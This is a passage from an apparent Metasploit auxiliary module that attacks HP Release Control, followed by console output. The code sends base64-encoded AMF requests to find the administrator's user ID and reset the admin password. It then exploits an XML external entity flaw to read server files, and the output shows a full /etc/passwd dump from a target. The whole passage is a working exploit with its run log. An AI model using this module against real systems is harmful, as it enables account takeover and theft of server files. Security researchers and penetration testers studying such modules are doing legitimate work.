Lm1lc3NhZ2luZy5tZXNzYWdlcy5SZW1vdGluZ01lc3NhZ2UTdGltZXN0YW1wD2hlYWRlcnMTb3BlcmF0aW9uCWJvZHkNc291cmNlHXJlbW90ZVBhc3N3b3JkHXJlbW90ZVVzZXJuYW1lFXBhcmFtZXRlcnMTbWVzc2FnZUlkFXRpbWVUb0xpdmURY2xpZW50SWQXZGVzdGluYXRpb24FAAAAAAAAAAAKIwEJRFNJZBVEU0VuZHBvaW50BklERDY4RURERS01NjFBLTMzRTQtNDU1OC04OEU3RkY2RTFDMUUGDW15LWFtZgYldXBkYXRlVXNlclBhc3N3b3JkCQUBBg8xNzY5NDcyBhFwYXNzdzByZAEBAQoHQ2ZsZXgubWVzc2FnaW5nLmlvLkFycmF5Q29sbGVjdGlvbgkFAQYkBiYGSUREQTlENDQ1LUNFNDgtQTFDMy00MjNBLUZEOEZBRkQ4OUUzRQUAAAAAAAAAAAZJREQ2RDEzRDUtMjEwQy0yRDA5LTAwQjktQzU0RUU3NTc0NTI2Bhd1c2VyU2VydmljZQAEbnVsbAADLzMz/////xEJAwEKgUNPZmxleC5tZXNzYWdpbmcubWVzc2FnZXMuUmVtb3RpbmdNZXNzYWdlE3RpbWVzdGFtcA9oZWFkZXJzE29wZXJhdGlvbglib2R5DXNvdXJjZR1yZW1vdGVQYXNzd29yZB1yZW1vdGVVc2VybmFtZRVwYXJhbWV0ZXJzE21lc3NhZ2VJZBV0aW1lVG9MaXZlEWNsaWVudElkF2Rlc3RpbmF0aW9uBQAAAAAAAAAACiMBCURTSWQVRFNFbmRwb2ludAZJREQ2OEVEREUtNTYxQS0zM0U0LTQ1NTgtODhFN0ZGNkUxQzFFBg1teS1hbWYGK3VwZGF0ZVVzZXJCdXNpbmVzc0NJcwkHAQYPMTc2OTQ3MgoHQ2ZsZXgubWVzc2FnaW5nLmlvLkFycmF5Q29sbGVjdGlvbgkBAQoJCQEBAQEBCgkJBwEGJAoICgwGSUU0QTk2NjU5LTQ4ODItOTc2Ny1DMzNBLUZEOEZBRkQ5NEZCQgUAAAAAAAAAAAZJREQ2RDEzRDUtMjEwQy0yRDA5LTAwQjktQzU0RUU3NTc0NTI2Bhd1c2VyU2VydmljZQo=")
    password = Rex::Text::rand_text_alpha(8)
    req = req.sub("\x0f1769472", "\x0d"+admin_id).sub("passw0rd", password)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'messagebroker', 'amf'),
      'method' => 'POST',
      'ctype' => 'application/x-amf',
      'data' => req,
      'cookie' => cookie
    })

    return password
  end

  def get_admin_id(cookie)
    req = Rex::Text::decode_base64("AAMAAAABAARudWxsAAMvMjkAAAIPCgAAAAERCoETT2ZsZXgubWVzc2FnaW5nLm1lc3NhZ2VzLlJlbW90aW5nTWVzc2FnZRNvcGVyYXRpb24Nc291cmNlCWJvZHkTbWVzc2FnZUlkE3RpbWVzdGFtcBFjbGllbnRJZBV0aW1lVG9MaXZlD2hlYWRlcnMXZGVzdGluYXRpb24GFXNlYXJjaFVzZXIBCREBCoFTVWNvbS5tZXJjdXJ5Lm9ueXguY2xpZW50LnNlcnZpY2VzLnZvLlVzZXJWTx91c2VyUGVybWlzc2lvbnMRcGFzc3dvcmQLZW1haWwRdXNlckFwcHMddXNlclNldHRpbmdzVk8TdXNlclJvbGVzHWxpbmVPZkJ1c2luZXNzEWxhc3ROYW1lDXVzZXJJRBNsb2dpbk5hbWUTZmlyc3ROYW1lFWJ1c2luZXNzSWQLbGFiZWwKB0NmbGV4Lm1lc3NhZ2luZy5pby5BcnJheUNvbGxlY3Rpb24JAQEBAQoJCQEBAQoJCQEBAQEBAQEBAQEGLAMJAQEEGQQBBAEGSThFNTBBNDUzLUQwRDMtMkVCNC1BNDkzLTAyMTM0RDdEM0E3NgQAAQQACgsBFURTRW5kcG9pbnQGG215LXNlY3VyZS1hbWYJRFNJZAZJRTg3MjYzOUQtOTkwRS0zOUI5LTA1MUMtMDlBOUM1RUJDQUUwAQYXdXNlclNlcnZpY2UK")
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'ccm', 'messagebroker', 'amfsecure'),
      'method' => 'POST',
      'ctype' => 'application/x-amf',
      'data' => req,
      'cookie' => cookie
    })
    
    begin
      idx = res.body.index("admin admin")
      idx = idx + "admin admin".length + 25 + 1 + 1
      id = res.body[idx+1..idx+6]
      return id
    rescue
      return nil
    end
  end
end

__END__

msf auxiliary(hp_release_control_xxe) > show options

Module options (auxiliary/gather/hp_release_control_xxe):

   Name       Current Setting         Required  Description
   ----       ---------------         --------  -----------
   FILEPATH   /etc/passwd             yes       The filepath to read on the server
   PASSWORD   passw0rd                yes       The password to authenticate with
   Proxies    http:192.168.1.45:8080  no        Use a proxy chain
   RHOST      192.168.1.109           yes       The target address
   RPORT      8080                    yes       The target port
   TARGETURI  /                       yes       Base directory path
   USERNAME   username                yes       The username to authenticate with
   VHOST                              no        HTTP server virtual host

msf auxiliary(hp_release_control_xxe) > run

[*] Authenticating
[*] Found admin id: 229376
[*] Changing admin's password...
[*] Changed admin password to: ZaDdExMx
[-] Auxiliary failed: RuntimeError Login failed: 
[-] Call stack:
[-]   /home/bperry/Projects/metasploit-framework/lib/msf/core/module.rb:745:in `fail_with'
[-]   /home/bperry/Projects/metasploit-framework/modules/auxiliary/gather/hp_release_control_xxe.rb:108:in `run'
[*] Auxiliary module execution completed
msf auxiliary(hp_release_control_xxe) > run

[*] Authenticating
[*] Found admin id: 229376
[*] Changing admin's password...
[*] Changed admin password to: upvsoveu
[*] Exploiting XXE...
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
release-control:x:500:500::/opt/HP/rc:/bin/bash
rtkit:x:498:496:RealtimeKit:/proc:/sbin/nologin
pulse:x:497:495:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
fdsa:x:501:501::/home/fdsa:/bin/bash
[*] Auxiliary module execution completed
msf auxiliary(hp_release_control_xxe) >